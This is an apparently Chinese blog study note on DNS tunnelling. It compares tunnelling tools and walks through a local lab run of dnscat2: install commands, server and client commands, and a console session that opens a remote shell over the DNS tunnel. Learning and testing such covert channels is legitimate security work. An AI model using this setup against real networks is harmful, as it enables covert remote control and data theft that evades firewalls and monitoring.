一 前言
DNS上节说到,主要用来做域名解析的,但是黑客却可以通过将其他协议的内容封装再DNS协议中,然后通过DNS请求和响应来传输数据和完成控制,DNS服务作为互联网上最普遍的服务,防火墙和入侵检测设备一般都会放行,这就给黑客们有了可乘之机,以下为学习笔记。
二 DNS隧道的方式
2.1 分类
目前DNS隧道目前按照连接方式来分:直连隧道和中继隧道。
直连隧道 :用户直接和控制服务器通过DNS连接,由于直连不经过其他DNS服务器,所以速度快,但是很多用户是对DNS服务器是有配置要求的,只能配置特定的服务器,配置其他的DNS服务器不准许;另外这种方式由于直接连接的,很容易暴漏攻击服务器。
中继隧道: 利用DNS迭代查询方式,中间通过多个DNS服务器的跳转,跳转到最终的控制机,整个解析过程更长,所以性能没有直连好,还要防止DNS缓存。
2.2 开源工具
网上有不少开源工具实现了DNS的隧道,对比如下:
软件名称 | 开发语言 | 特点 | 推荐 |
---|---|---|---|
OzymanDNS | perl | 只有最初版本 | 不推荐 |
tcp-over-dns | JAVA | 跨平台 | 比较老 |
iodine | C | 直连和中继都支持速度快支持编码和请求类型 | 推荐 |
dns2tcp | C | 只直连未实现命令 | 不推荐 |
Dnscat2 | 客户端C服务器ruby | 支持加密隧道,功能强大 | 推荐 |
2.3 关键技术
- 在两种DNS 隧道中,用的最多的是中继方式,能让DNS服务器做递归查询,则需要每次查询均采用不同域名的,一句话是每次采用新域名的方式来保证走DNS查询。
- 大多数场景 是服务器端没办法连客户端,因为防火墙或内网原因,所以多是通过客户端定时连接服务器端来保持状态。
三 实践
为了更好理解软件工作,二是为了获取相关的报文,准备搭建两个尝试下整个过程。
以更常用的Dnscat2为例测试,我以自己的windows机器来作为被控制方,里面的centos机器作为控制方测试。
3.1 安装
#windows下客户端下载地址
#解压密码为password ,windows下只有32位的。
https://downloads.skullsecurity.org/dnscat2/
#linux下服务器端安装
#安装ruby
$ yum install ruby
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
3.2 运行
服务器端为ruby开发,所以需要先安装ruby才可以运行,因为只是简单测试,走直连模式,可以直接运行:
#缺了不少库采用以下方式安装
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop
#服务器端命令
ruby ./dnscat2.rb --secret 12345
#客户端命令
./dnscat --dns server=127.0.0.1,port=53 --secret=12345
3.3 遇到问题
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
可能原因,默认有密码的是随机的,所以最好指定密码,不然连不上。
/home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
New window created: 1
/home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
查了半天竟然是ruby用的版本2.7的问题造成的调用警告。
输入:
#进入交互状态
session -i 1
#输入shell进入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = [*]
1 :: command (localhost.localdomain) [encrypted and verified]
2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切换到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#输入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client
简单的过程:
DNS隧道利用
网友评论